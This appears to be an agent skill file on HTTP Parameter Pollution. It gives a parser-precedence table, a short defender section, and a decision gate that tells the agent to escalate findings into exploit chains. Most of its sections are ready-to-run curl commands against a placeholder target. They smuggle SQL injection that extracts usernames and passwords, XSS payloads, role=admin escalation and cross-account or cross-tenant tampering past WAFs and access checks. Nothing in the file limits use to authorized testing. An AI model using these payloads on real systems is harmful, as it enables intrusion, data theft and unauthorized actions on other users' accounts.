- name
- hpp
- description
- HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"execution","when_to_use":"HPP, HTTP parameter pollution, duplicate parameters, parameter precedence, WAF bypass via dup params, parser discrepancy, ?a=1&a=2","tags":"hpp, parser-discrepancy, waf-bypass, auth-bypass","mitre_attack":"T1190"}
# HTTP Parameter Pollution (HPP)
Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter **differently**. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
## 1. Parser precedence table
When `?id=1&id=2` (or duplicated body params) is received:
| Stack | `request.GET['id']` / equivalent | `getParameterValues` / list view |
|---|---|---|
| PHP (`$_GET`) | **last** wins (`2`) | `$_GET['id[]']` only; otherwise the dup is dropped |
| ASP.NET (`Request.QueryString["id"]`) | **comma-concatenated** (`"1,2"`) | `GetValues` returns both |
| ASP Classic | **comma-concatenated** | — |
| Java Servlet (`getParameter`) | **first** (`1`) | `getParameterValues` returns both |
| Java Spring `@RequestParam String` | **first** | `List<String>` binds both |
| Node.js `qs` (Express default) | **array** (`["1","2"]`) | n/a |
| Node.js `querystring` (legacy) | **array** | n/a |
| Python Flask `request.args.get` | **first** | `getlist` returns both |
| Python Django `request.GET['id']` | **last** | `getlist` returns both |
| Python `urllib.parse.parse_qs` | **list** (`["1","2"]`) | — |
| Ruby on Rails | **last** | `params[:id]` is the last; arrays via `id[]=` |
| Go `net/http` `r.URL.Query().Get` | **first** | `["id"]` returns all |
| Perl CGI `param("id")` | **first** in scalar, **list** in list context | — |
| nginx `$arg_id` | **first** | — |
| Apache mod_rewrite `%{QUERY_STRING}` | raw — passes both | — |
| AWS API Gateway → Lambda proxy | **last** in `queryStringParameters`, all in `multiValueQueryStringParameters` | — |
| Cloudflare WAF | inspects **all** values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: **WAF/proxy reads value A, app reads value B**.
## 2. Detection
```bash
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2" # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup
```
Reflection check — does the response echo `1`, `2`, `1,2`, or `["1","2"]`? That literally fingerprints the stack.
```bash
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
done
```
## 3. WAF bypass via duplicate parameters
The WAF inspects one occurrence; the app concatenates / picks the other.
```bash
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"
```
Mixed source confusion — GET vs POST:
```bash
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'
```
## 4. Server-side HPP — auth / ACL bypass
The auth layer evaluates one value; the controller acts on another.
```bash
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.
# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"
```
## 5. Client-side HPP
User-supplied parameter is **re-emitted into a link or redirect** without re-encoding `&`.
```
Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read">
Payload: USER_INPUT = http://x.tld?evil=1
Rendered link: /proxy?url=http://x.tld?evil=1&action=read
Server sees: url=http://x.tld?evil=1 AND action=read (still benign)
Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded
```
```bash
# Probe — pass a payload containing & and look for it un-encoded in the response HTML
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head
```
## 6. Injection delivery
```bash
# Split SQLi payload across two values to bypass per-value length / pattern checks
curl -G "http://<TARGET>/search" \
--data-urlencode "q=' UNION SELECT 1,2,3--" \
--data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
# .NET concatenation → final value contains both fragments joined by ","
# Carry an XSS payload past a regex that only checks one occurrence
curl -G "http://<TARGET>/view" \
--data-urlencode "name=harmless" \
--data-urlencode "name=<img src=x onerror=alert(1)>"
```
## 7. Tools
- **Burp Param Miner** — finds hidden / undocumented params, reflects, dup-detection.
- **HTTPParameterPollution** Burp extension — generates dup-permutations.
- **wfuzz / ffuf** — fuzz with `-z list,1-2-1,1` to inject duplicate keys.
- **sqlmap** `--param-del=';'` `-p 'q'` `--skip-urlencode` — for separator-style HPP.
- Hand-rolled Python: `requests.PreparedRequest` lets you pass a list of tuples to keep order: `[("id","1"),("id","2")]`.
## 8. Detection signatures (defenders)
| Signal | Source |
|---|---|
| Two `id=` (or any key) per request line | access logs, request audit |
| WAF rule fired on one occurrence, request still 200 | WAF + app log correlation |
| `?key[]=` or `;key=` patterns | nginx / Apache logs |
| ASP.NET request that concatenates user input into `"1,2"` and forwards to a backend | app trace |
| Differential outcome on `?a=1&a=2` vs `?a=2&a=1` | active monitoring probe |
Remediation: canonicalize duplicates **before** auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding `&` and `=`.
## 9. Decision gate
| Observation | Action |
|---|---|
| Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain |
| Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity |
| Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research |
| Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF |
## Cross-references
- WAF bypass payload obfuscation: `skills/standard/exploit/web/waf-bypass/SKILL.md`
- SQLi chain: `skills/standard/exploit/web/sqli/SKILL.md`
- BFLA / IDOR via param shadowing: `skills/standard/exploit/web/bfla/SKILL.md`
- HTTP smuggling (related parser-discrepancy class): `skills/standard/exploit/web/smuggling/SKILL.md`
Ver no GitHub